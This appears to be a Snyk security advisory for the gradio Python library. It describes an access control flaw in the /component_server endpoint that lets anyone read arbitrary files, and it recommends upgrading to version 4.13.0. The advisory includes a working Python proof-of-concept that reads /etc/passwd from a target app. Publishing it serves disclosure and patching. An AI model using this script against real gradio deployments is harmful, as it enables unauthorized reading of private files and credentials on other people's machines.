Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade gradio
to version 4.13.0 or higher.
gradio is a Python library for easily interacting with trained machine learning models
Affected versions of this package are vulnerable to Improper Access Control due to the /component_server
endpoint improperly allowing the invocation of any method on a Component
class with attacker-controlled arguments. Specifically, by exploiting the move_resource_to_block_cache()
method of the Block
class, an attacker can copy any file on the filesystem to a temporary directory and subsequently retrieve it. This vulnerability enables unauthorized local file read access.
Notes:
It is even more critical because running an app with launch(share=True) will expose the app to the internet allowing anyone to read files on users computers.
All gradio apps hosted on huggingface.co are also vulnerable.
from argparse import ArgumentParser
from requests import Session
if __name__ == "__main__":
parser = ArgumentParser()
parser.add_argument("--url", required=True)
parser.add_argument("--path", default="/etc/passwd")
args = parser.parse_args()
url_base = args.url
with Session() as s:
# get app config:
rsp = s.get(f"{url_base}/config")
# grab any valid component_id:
component_id = rsp.json()["components"][0]["id"]
rsp = s.post(f"{url_base}/component_server", json={
"component_id" : component_id,
"data" : args.path, # "/etc/passwd",
"fn_name" : "move_resource_to_block_cache",
"session_hash" : "aaaaaaaaaaa"
})
path = rsp.json()
rsp = s.get(f"{url_base}/file={path}")
print(rsp.text)